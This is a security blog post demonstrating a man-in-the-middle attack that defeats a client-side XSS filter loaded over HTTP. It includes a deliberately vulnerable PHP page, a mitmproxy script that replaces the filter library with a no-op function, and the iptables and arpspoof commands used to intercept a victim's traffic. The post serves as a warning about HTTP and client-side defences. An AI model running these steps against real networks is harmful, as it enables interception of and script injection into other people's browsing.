MITM XSS Protection – Still Popping Alerts

I recently had to demonstrate the dangers of loading external resources over HTTP as well as security libraries running on the client side. In this case, I went with an attack to MITM XSS protection, and this was the result.

Vulnerable Application

First, take the following vulnerable application.

<html>

<head>
<title>Safe from XSS now(?)</title>
</head>

<body>

I'm no longer vulnerable: <?php echo $_GET['value']; ?>

</body>

</html>

A simple application that takes a GET parameter and echos it to the page.

MITM XSS Protection - Vulnerable

As you can tell, this application is obviously vulnerable to XSS.

MITM XSS Protection - Alert 1

Securing the Application

In this case, our target actually smartened up to our attacks, and started using an input sanitization library.

Following the example on the GitHub page, the target application was now a bit more secure.

<html>

<head>
<title>Safe from XSS now(?)</title>
</head>

<body>

I'm no longer vulnerable:
<script src="http://r4y.pw/xss.js"></script>
<script>
// apply function filterXSS in the same way
var html = filterXSS(decodeURIComponent('<?php echo urlencode($_GET['value']); ?>'));
document.write(html);
</script>

</body>

</html>

Now, when we try our previous payload, it no longer works.

MITM XSS Protection - Protected

The reason for this is that the library is now HTML encoding our payload.

MITM XSS Protection - HTML Encoded

As you can see, the browser is sending the input to the filterXSS method before being written to the page. Note that the decodeURIComponent and URL encoding is to just prevent closing script tags from breaking this “protection”.

MITM XSS Protection - Protection Script

MITM XSS Protection – The Attack

Like any good attacker, we won’t stop because of a little client side protection for our XSS attacks.

In this case, I used mitmproxy and a custom script to modify the response. If the request was for http://138.197.195.10/xss.js, then I replace the content with my own neutered function.

import libmproxy

def response(context, flow):
    url = flow.request.scheme + "://" + flow.request.host + flow.request.path

    if url == "http://138.197.195.10/xss.js":
        flow.response.code = 200
        flow.response.content = "function filterXSS (input) { return input; }"
        flow.response.encode("gzip")

To use this script, I setup some iptables rules to forward traffic to mitmproxy, setup ARP spoofing between my victim and the router, and started mitmproxy.

[email protected]:~# iptables -t nat -F
[email protected]:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
[email protected]:~# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
[email protected]:~# arpspoof -i eth1 -t 192.168.5.100 192.168.5.1
[email protected]:~# arpspoof -i eth1 -t 192.168.5.1 192.168.5.100
[email protected]:~# mitmproxy --anticache -s mitmOverride.py -T --host

Now, the next time that my “victim” browsed to the vulnerable application, I saw their request for the XSS library.

MITM XSS Protection - mitmproxy

Additionally, the response that mitmproxy sent back to them was my useless version.

MITM XSS Protection - MITM response

Finally, my alert popped, and XSS was successful again!

MITM XSS Protection - Alert Popped

Additionally, you can see that the empty filterXSS() method is the one being loaded on the client’s side.

MITM XSS Protection - New Method

MITM XSS Protection – Conclusion

While this attack did come with a few caveats, it still demonstrates the dangers of HTTP vs. HTTPS and client side protections.

To perform this attack, an attacker just needs to share a network with the victim, and have some familiarity with the protection that they are attacking.

Other than that, the attack is (mostly) transparent and could be even more sneaky.

1 thought on “MITM XSS Protection – Still Popping Alerts”

Leave a Comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.